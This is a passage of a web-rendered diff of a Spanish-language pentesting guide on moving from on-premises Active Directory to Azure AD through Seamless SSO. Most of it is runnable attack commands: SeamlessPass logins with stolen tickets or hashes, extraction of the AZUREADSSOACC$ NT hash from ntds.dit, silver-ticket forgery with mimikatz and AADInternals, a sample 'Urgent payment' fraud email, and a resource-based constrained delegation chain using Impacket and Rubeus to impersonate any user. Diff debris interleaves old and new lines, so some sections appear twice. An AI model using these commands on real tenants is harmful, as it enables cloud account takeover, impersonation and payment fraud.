- **Un TGS de un usuario comprometido:** Si comprometes la sesión de un usuario con el ticket a `HTTP/autologon.microsoftazuread-sso.com` en memoria, puedes usarlo para acceder a los recursos en la nube.
|
||||
- **Un TGT de un usuario comprometido:** Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) y [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Un hash o contraseña de un usuario comprometido:** SeamlessPass se comunicará con el controlador de dominio con esta información para generar el TGT y luego el TGS.
|
||||
- **Un ticket dorado:** Si tienes la clave KRBTGT, puedes crear el TGT que necesitas para el usuario atacado.
|
||||
- **El hash o contraseña de la cuenta AZUREADSSOACC$:** Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticarte con la nube (como se realizó en el método anterior).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
Como [se explica en esta publicación de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), tener cualquiera de los requisitos anteriores hace que sea muy fácil usar la herramienta **SeamlessPass** para acceder a los recursos en la nube como el usuario comprometido, o como cualquier usuario si tienes el hash o contraseña de la cuenta **`AZUREADSSOACC$`**.
|
||||
|
||||
Finalmente, con el TGT es posible usar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Más información para configurar Firefox para trabajar con SSO sin problemas se puede [**encontrar en esta publicación de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Obtención de hashes de la cuenta AZUREADSSOACC$
|
||||
|
||||
La **contraseña** del usuario **`AZUREADSSOACC$` nunca cambia**. Por lo tanto, un administrador de dominio podría comprometer el **hash de esta cuenta**, y luego usarlo para **crear tickets de plata** para conectarse a Azure con **cualquier usuario local sincronizado**:
|
||||
```bash
|
||||
@@ -38,14 +87,20 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
Con el hash ahora puedes **generar tickets de plata**:
|
||||
> [!NOTE]
|
||||
> Con la información actual, podrías simplemente usar la herramienta **SeamlessPass** como se indicó anteriormente para obtener tokens de azure y entraid para cualquier usuario en el dominio.
|
||||
> También podrías usar las técnicas anteriores (y otras) para obtener el hash de la contraseña de la víctima que deseas suplantar en lugar de la cuenta `AZUREADSSOACC$`.
|
||||
|
||||
#### Creando Tickets Silver
|
||||
|
||||
Con el hash ahora puedes **generar tickets silver**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -53,52 +108,79 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Usando Silver Tickets con Firefox
|
||||
|
||||
Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos:
|
||||
|
||||
1. **Iniciar el Navegador:** Se debe lanzar Mozilla Firefox.
|
||||
2. **Configurar el Navegador:**
|
||||
- Navegar a **`about:config`**.
|
||||
- Establecer la preferencia para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) a los [valores](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificados:
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
- Establecer la preferencia para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) al [valor](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificado:
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Navegar a `Configuración` de Firefox > Buscar `Permitir inicio de sesión único de Windows para cuentas de Microsoft, trabajo y escuela` y habilitarlo.
|
||||
3. **Acceder a la Aplicación Web:**
|
||||
- Visitar una aplicación web que esté integrada con el dominio AAD de la organización. Un ejemplo común es [Office 365](https://portal.office.com/).
|
||||
- Visitar una aplicación web que esté integrada con el dominio AAD de la organización. Un ejemplo común es [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Proceso de Autenticación:**
|
||||
- En la pantalla de inicio de sesión, se debe ingresar el nombre de usuario, dejando el campo de contraseña en blanco.
|
||||
- Para continuar, presionar TAB o ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> Esto no elude MFA si está habilitado
|
||||
> [!WARNING]
|
||||
> Esto **no elude MFA si está habilitado** en el usuario.
|
||||
|
||||
#### Opción 2 sin dcsync - SeamlessPass
|
||||
|
||||
También es posible realizar este ataque **sin un ataque dcsync** para ser más sigiloso, como [se explica en esta publicación de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para eso solo necesitas uno de los siguientes:
|
||||
### On-prem -> Cloud a través de Delegación Constrainada Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
- **Un TGT de un usuario comprometido:** Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) y [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: Si tienes la clave KRBTGT, puedes crear el TGT que necesitas para el usuario atacado.
|
||||
- **El hash NTLM o la clave AES de un usuario comprometido:** SeamlessPass se comunicará con el controlador de dominio con esta información para generar el TGT.
|
||||
- **Hash NTLM o clave AES de la cuenta AZUREADSSOACC$:** Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticar con la nube (como se realizó en el método anterior).
|
||||
Para realizar el ataque se necesita:
|
||||
|
||||
Finalmente, con el TGT es posible utilizar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
|
||||
- `WriteDACL` / `GenericWrite` sobre `AZUREADSSOACC$`
|
||||
- Una cuenta de computadora que controles (hash y contraseña) - Podrías crear una
|
||||
|
||||
|
||||
1. Paso 1 – Agrega tu propia cuenta de computadora
|
||||
- Crea `ATTACKBOX$` y imprime su SID/hash NTLM. Cualquier usuario de dominio puede hacer esto mientras MachineAccountQuota > 0
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
2. Paso 2 – Conceder RBCD en `AZUREADSSOACC$` - Escribe el SID de tu máquina en `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
Más información para configurar Firefox para trabajar con SSO sin problemas se puede [**encontrar en esta publicación de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
3. Paso 3 – Forjar un TGS para cualquier usuario (por ejemplo, alice)
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
#### ~~Creando tickets de Kerberos para usuarios solo en la nube~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden **configurar SID para cualquier usuario en la nube**. De esta manera, los **tickets** de Kerberos **también se pueden crear para usuarios solo en la nube**. El único requisito es que el SID sea un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
Puedes ahora usar el **TGS para acceder a los recursos de Azure como el usuario suplantado.**
|
||||
|
||||
|
||||
### ~~Creando tickets de Kerberos para usuarios solo en la nube~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden **establecer SID para cualquier usuario en la nube**. De esta manera, los **tickets** de Kerberos pueden ser **creados también para usuarios solo en la nube**. El único requisito es que el SID sea un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Cambiar el SID de los usuarios administradores solo en la nube ahora está **bloqueado por Microsoft**.\
|
||||
> Para más información, consulta [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud a través de Delegación Constrained Basada en Recursos <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Cualquiera que pueda gestionar cuentas de computadora (`AZUREADSSOACC$`) en el contenedor u OU en el que se encuentra esta cuenta, puede **configurar una delegación constrained basada en recursos sobre la cuenta y acceder a ella**.
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
|
||||
Reference in New Issue
Block a user